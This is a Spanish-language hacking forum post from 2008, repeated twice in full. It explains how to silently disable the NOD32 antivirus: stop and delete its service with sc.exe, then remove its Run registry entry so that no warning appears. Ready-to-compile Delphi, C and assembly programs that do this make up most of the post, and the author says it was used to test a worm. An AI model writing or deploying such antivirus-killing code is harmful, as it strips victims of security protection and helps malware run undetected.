haxlife
06-oct-2008, 21:31
Vamos a poner el ejemplo del nod32 (podria ser el kaspersky.. o el servicio que controla el protocolo tcp/ip ...etc)
En algún momento intente eliminar el antivirus nod32 pero no podía cerrarlo ni menos eliminarlo como servicio ya que estaba deshabilitada la opción, he creado este mini articulo que soluciona ese problema, en esta ocasión eliminaremos del sistema al nod32 que lo instale para hacer una prueba con otro worm y ahora será mi conejillo de indias para eliminarlo
Pero con este simple método se puede eliminar casi cualquier servicio por no decir todos, Uds. vean que mas pueden eliminar yo solo lo haré con el nod32.
Les presento a un programa de Windows XP
SC.exe
Esta es la explicación de la ayuda de Windows
SC
Se comunica con el Controlador de servicios y los servicios instalados. SC.exe obtiene y establece la información de control acerca de los servicios. Puede utilizar SC.exe para probar y depurar programas de servicio. Las propiedades de los servicios almacenadas en el Registro se pueden establecer para controlar cómo se inician las aplicaciones de los servicios en el inicio del sistema y cómo se ejecutan como procesos en segundo plano. Los parámetros de SC.exe pueden configurar un servicio específico, obtener el estado actual de un servicio, así como detener e iniciar un servicio. Puede crear archivos de comandos por lotes que invoquen los distintos comandos de SC.exe para automatizar la secuencia de inicio o apagado de los servicios. SC.exe proporciona capacidades similares a Servicios en el elemento Herramientas administrativas del Panel de control.
El listado completo de los comandos los pueden ver en la ayuda de Windows, expondré solo los que usaremos.
Abrimos cmd.exe en el menú ejecutar y escribimos sc.exe, sale una lista con los parámetros para usar este comando.
Sc Stop <nombre servicio>
Detiene el servicio especificado en nombre servicio
Sc delete <nombre servicio>
Este comando elimina un servicio veamos la lista de nombres en panel de control – herramientas administrativas – servicios y veremos como se identifica para eliminarlo.
http://img528.imageshack.us/img528/747/gxt24870lx4.th.png (http://img528.imageshack.us/my.php?image=gxt24870lx4.png)http://img528.imageshack.us/images/thpix.gif (http://g.imageshack.us/thpix.php)
Entonces una vez identificado el servicio solo basta detener y eliminar el servicio con esto el antivirus en este caso queda eliminado, se puede eliminar el servicio sin detenerlo pero la idea es que se detenga y luego se elimine asi queda vulnerable solo con detenerlo.
Los comandos serian:
SC stop NOD32krn
SC delete NOD32krn
Al reiniciar la maquina nod32 estará down.
Me he encontrado con un detalle en el inicio del sistema nod32 abre un programa esperando que se inicie el servicio, se me queda pegado el logo y luego sale un mensaje que delatara que algo anda mal, y nosotros buscamos una muerte limpia, así que los pasos serán los siguientes:
- Detener servicio
- Eliminar servicio
- Borrar la línea que hace que se inicie este modulo en memoria
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
nod32kui "C:\Archivos de programa\Eset\nod32kui.exe" /WAITSERVICE
Ahora pasemos esta pequeña teoría a un simple código en delphi y luego en ASM, muy fácil de pasar a otro lenguaje
program eliminar_nod;
type
HKEY = type LongWord;
REGSAM = type longWord;
DWORD = type longWord;
function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
external 'kernel32.dll' name 'WinExec';
function RegOpenKeyEx(hKey: HKEY; lpSubKey: PChar;
ulOptions: DWORD; samDesired: REGSAM; var phkResult: HKEY): Longint; stdcall;
external 'advapi32.dll' name 'RegOpenKeyExA';
function RegDeleteValue(hKey: HKEY; lpValueName: PChar): Longint; stdcall;
external 'advapi32.dll' name 'RegDeleteValueA';
function RegCloseKey(hKey: HKEY): Longint; stdcall;
external 'advapi32.dll' name 'RegCloseKey';
const
HKEY_LOCAL_MACHINE = DWORD($80000002);
KEY_SET_VALUE = $0002;
var
accion:string;
Key : Hkey;
begin
accion:='Cmd.exe /c sc stop NOD32krn';
WinExec(pchar(accion),0);
accion:='Cmd.exe /c sc delete NOD32krn ';
WinExec(pchar(accion),0);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, pChar('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN'), 0, KEY_SET_VALUE, KEY);
RegDeleteValue(Key, PCHAR('nod32kui'));
RegCloseKey(Key);
end.
El mismo code por Pseudoroot en C.
#include <windows.h>
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
char* accion1="Cmd.exe /c sc stop NOD32krn";
char* accion2="Cmd.exe /c sc delete NOD32krn";
WinExec(accion1,0);
Sleep(1000); // Le agregue un retardo para que efectue correcta la primera api.
WinExec(accion2,0);
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&key);
RegDeleteValue(key,("nod32kui"));
RegCloseKey(key);
return 0;
}
Ahora lo mismo en ASM.
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include advapi32.inc
includelib kernel32.lib
includelib advapi32.lib
.data
accion1 db 'Cmd.exe /c sc stop NOD32krn',0
accion2 db 'Cmd.exe /c sc delete NOD32krn',0
ruta db 'SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',0
dato db 'nod32kui',0
.data?
hkey DWORD ?
.code
mataNod:
push 0
push offset accion1
call WinExec
push 0
push offset accion2
call WinExec
push offset hkey
push KEY_SET_VALUE
push 0
push offset ruta
push HKEY_LOCAL_MACHINE
call RegOpenKeyEx
push offset dato
push hkey
call RegDeleteValue
push hkey
call RegCloseKey
push 0
call ExitProcess
end mataNod
Espero que esta información se le pueda dar utilidad ya que es muy interesante lo que se puede conseguir con este comando.
Creado por: pana_infierno
Nota: dedicado a pepe00 jeje :hho:
En algún momento intente eliminar el antivirus nod32 pero no podía cerrarlo ni menos eliminarlo como servicio ya que estaba deshabilitada la opción, he creado este mini articulo que soluciona ese problema, en esta ocasión eliminaremos del sistema al nod32 que lo instale para hacer una prueba con otro worm y ahora será mi conejillo de indias para eliminarlo
Pero con este simple método se puede eliminar casi cualquier servicio por no decir todos, Uds. vean que mas pueden eliminar yo solo lo haré con el nod32.
Les presento a un programa de Windows XP
SC.exe
Esta es la explicación de la ayuda de Windows
SC
Se comunica con el Controlador de servicios y los servicios instalados. SC.exe obtiene y establece la información de control acerca de los servicios. Puede utilizar SC.exe para probar y depurar programas de servicio. Las propiedades de los servicios almacenadas en el Registro se pueden establecer para controlar cómo se inician las aplicaciones de los servicios en el inicio del sistema y cómo se ejecutan como procesos en segundo plano. Los parámetros de SC.exe pueden configurar un servicio específico, obtener el estado actual de un servicio, así como detener e iniciar un servicio. Puede crear archivos de comandos por lotes que invoquen los distintos comandos de SC.exe para automatizar la secuencia de inicio o apagado de los servicios. SC.exe proporciona capacidades similares a Servicios en el elemento Herramientas administrativas del Panel de control.
El listado completo de los comandos los pueden ver en la ayuda de Windows, expondré solo los que usaremos.
Abrimos cmd.exe en el menú ejecutar y escribimos sc.exe, sale una lista con los parámetros para usar este comando.
Sc Stop <nombre servicio>
Detiene el servicio especificado en nombre servicio
Sc delete <nombre servicio>
Este comando elimina un servicio veamos la lista de nombres en panel de control – herramientas administrativas – servicios y veremos como se identifica para eliminarlo.
http://img528.imageshack.us/img528/747/gxt24870lx4.th.png (http://img528.imageshack.us/my.php?image=gxt24870lx4.png)http://img528.imageshack.us/images/thpix.gif (http://g.imageshack.us/thpix.php)
Entonces una vez identificado el servicio solo basta detener y eliminar el servicio con esto el antivirus en este caso queda eliminado, se puede eliminar el servicio sin detenerlo pero la idea es que se detenga y luego se elimine asi queda vulnerable solo con detenerlo.
Los comandos serian:
SC stop NOD32krn
SC delete NOD32krn
Al reiniciar la maquina nod32 estará down.
Me he encontrado con un detalle en el inicio del sistema nod32 abre un programa esperando que se inicie el servicio, se me queda pegado el logo y luego sale un mensaje que delatara que algo anda mal, y nosotros buscamos una muerte limpia, así que los pasos serán los siguientes:
- Detener servicio
- Eliminar servicio
- Borrar la línea que hace que se inicie este modulo en memoria
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
nod32kui "C:\Archivos de programa\Eset\nod32kui.exe" /WAITSERVICE
Ahora pasemos esta pequeña teoría a un simple código en delphi y luego en ASM, muy fácil de pasar a otro lenguaje
program eliminar_nod;
type
HKEY = type LongWord;
REGSAM = type longWord;
DWORD = type longWord;
function WinExec(lpCmdLine: PAnsiChar; uCmdShow: LongWord): LongWord; stdcall;
external 'kernel32.dll' name 'WinExec';
function RegOpenKeyEx(hKey: HKEY; lpSubKey: PChar;
ulOptions: DWORD; samDesired: REGSAM; var phkResult: HKEY): Longint; stdcall;
external 'advapi32.dll' name 'RegOpenKeyExA';
function RegDeleteValue(hKey: HKEY; lpValueName: PChar): Longint; stdcall;
external 'advapi32.dll' name 'RegDeleteValueA';
function RegCloseKey(hKey: HKEY): Longint; stdcall;
external 'advapi32.dll' name 'RegCloseKey';
const
HKEY_LOCAL_MACHINE = DWORD($80000002);
KEY_SET_VALUE = $0002;
var
accion:string;
Key : Hkey;
begin
accion:='Cmd.exe /c sc stop NOD32krn';
WinExec(pchar(accion),0);
accion:='Cmd.exe /c sc delete NOD32krn ';
WinExec(pchar(accion),0);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, pChar('SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN'), 0, KEY_SET_VALUE, KEY);
RegDeleteValue(Key, PCHAR('nod32kui'));
RegCloseKey(Key);
end.
El mismo code por Pseudoroot en C.
#include <windows.h>
int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpszArgument,
int nFunsterStil)
{
char* accion1="Cmd.exe /c sc stop NOD32krn";
char* accion2="Cmd.exe /c sc delete NOD32krn";
WinExec(accion1,0);
Sleep(1000); // Le agregue un retardo para que efectue correcta la primera api.
WinExec(accion2,0);
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&key);
RegDeleteValue(key,("nod32kui"));
RegCloseKey(key);
return 0;
}
Ahora lo mismo en ASM.
.386
.model flat,stdcall
option casemap:none
include windows.inc
include kernel32.inc
include advapi32.inc
includelib kernel32.lib
includelib advapi32.lib
.data
accion1 db 'Cmd.exe /c sc stop NOD32krn',0
accion2 db 'Cmd.exe /c sc delete NOD32krn',0
ruta db 'SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN',0
dato db 'nod32kui',0
.data?
hkey DWORD ?
.code
mataNod:
push 0
push offset accion1
call WinExec
push 0
push offset accion2
call WinExec
push offset hkey
push KEY_SET_VALUE
push 0
push offset ruta
push HKEY_LOCAL_MACHINE
call RegOpenKeyEx
push offset dato
push hkey
call RegDeleteValue
push hkey
call RegCloseKey
push 0
call ExitProcess
end mataNod
Espero que esta información se le pueda dar utilidad ya que es muy interesante lo que se puede conseguir con este comando.
Creado por: pana_infierno
Nota: dedicado a pepe00 jeje :hho: